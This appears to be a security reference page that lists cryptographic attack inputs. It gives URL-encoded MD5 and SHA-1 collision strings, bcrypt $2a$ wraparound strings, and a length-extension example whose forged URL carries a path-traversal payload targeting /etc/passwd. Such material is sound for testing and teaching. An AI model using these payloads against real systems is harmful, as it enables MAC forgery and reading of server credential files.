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Crypto

MD5 Collision Strings

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
URL decode strings. 
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

SHA-1 Collision Strings

%25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F%54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69%6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%52%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F%6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31%20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4C%97%E1%FF%FE%01%73%46%DC%91%66%B6%7E%11%8F%02%9A%B6%21%B2%56%0F%F9%CA%67%CC%A8%C7%F8%5B%A8%4C%79%03%0C%2B%3D%E2%18%F8%6D%B3%A9%09%01%D5%DF%45%C1%4F%26%FE%DF%B3%DC%38%E9%6A%C2%2F%E7%BD%72%8F%0E%45%BC%E0%46%D2%3C%57%0F%EB%14%13%98%BB%55%2E%F5%A0%A8%2B%E3%31%FE%A4%80%37%B8%B5%D7%1F%0E%33%2E%DF%93%AC%35%00%EB%4D%DC%0D%EC%C1%A8%64%79%0C%78%2C%76%21%56%60%DD%30%97%91%D0%6B%D0%AF%3F%98%CD%A4%BC%46%29%B1

%25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F%54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69%6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%52%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F%6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31%20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4C%97%E1%FF%FE%01%7F%46%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2%56%0B%45%CA%67%D6%88%C7%F8%4B%8C%4C%79%1F%E0%2B%3D%F6%14%F8%6D%B1%69%09%01%C5%6B%45%C1%53%0A%FE%DF%B7%60%38%E9%72%72%2F%E7%AD%72%8F%0E%49%04%E0%46%C2%30%57%0F%E9%D4%13%98%AB%E1%2E%F5%BC%94%2B%E3%35%42%A4%80%2D%98%B5%D7%0F%2A%33%2E%C3%7F%AC%35%14%E7%4D%DC%0F%2C%C1%A8%74%CD%0C%78%30%5A%21%56%64%61%30%97%89%60%6B%D0%BF%3F%98%CD%A8%04%46%29%A1
URL decode strings. 
255044462D312E330A25E2E3CFD30A0A0A312030206F626A0A3C3C2F57696474682032203020522F4865696768742033203020522F547970652034203020522F537562747970652035203020522F46696C7465722036203020522F436F6C6F7253706163652037203020522F4C656E6774682038203020522F42697473506572436F6D706F6E656E7420383E3E0A73747265616D0AFFD8FFFE00245348412D3120697320646561642121212121852FEC092339759C39B1A1C63C4C97E1FFFE017F46DC93A6B67E013B029AAA1DB2560B45CA67D688C7F84B8C4C791FE02B3DF614F86DB1690901C56B45C1530AFEDFB76038E972722FE7AD728F0E4904E046C230570FE9D41398ABE12EF5BC942BE33542A4802D98B5D70F2A332EC37FAC3514E74DDC0F2CC1A874CD0C78305A21566461309789606BD0BF3F98CDA8044629A1
255044462D312E330A25E2E3CFD30A0A0A312030206F626A0A3C3C2F57696474682032203020522F4865696768742033203020522F547970652034203020522F537562747970652035203020522F46696C7465722036203020522F436F6C6F7253706163652037203020522F4C656E6774682038203020522F42697473506572436F6D706F6E656E7420383E3E0A73747265616D0AFFD8FFFE00245348412D3120697320646561642121212121852FEC092339759C39B1A1C63C4C97E1FFFE017346DC9166B67E118F029AB621B2560FF9CA67CCA8C7F85BA84C79030C2B3DE218F86DB3A90901D5DF45C14F26FEDFB3DC38E96AC22FE7BD728F0E45BCE046D23C570FEB141398BB552EF5A0A82BE331FEA48037B8B5D71F0E332EDF93AC3500EB4DDC0DECC1A864790C782C76215660DD309791D06BD0AF3F98CDA4BC4629B1

Bcrypt (BSD) Wraparound Bug

$2a$ Bcrypt hashes were vulnerable to a wraparound bug where the first string in the list below would output the same hash as the next strings.

000000000000000000000000000000000000000000000000000000000000000000000000

012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234

0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345

Length extension attack

In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash(message1 ∥ message2) for an attacker-controlled message2.

In Summary: Given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.

An example:

http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9

http://example.com/download?file=report.pdf%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

%00%00%A8/../../../../../../../etc/passwd&mac=ee40aa8ec0cfafb7e2ec4de20943b673968857a5

A related HackerOne report: https://hackerone.com/reports/251572

Tool to extend a hash: https://github.com/iagox86/hash_extender

More details about the attack:

https://www.whitehatsec.com/blog/hash-length-extension-attacks/ https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks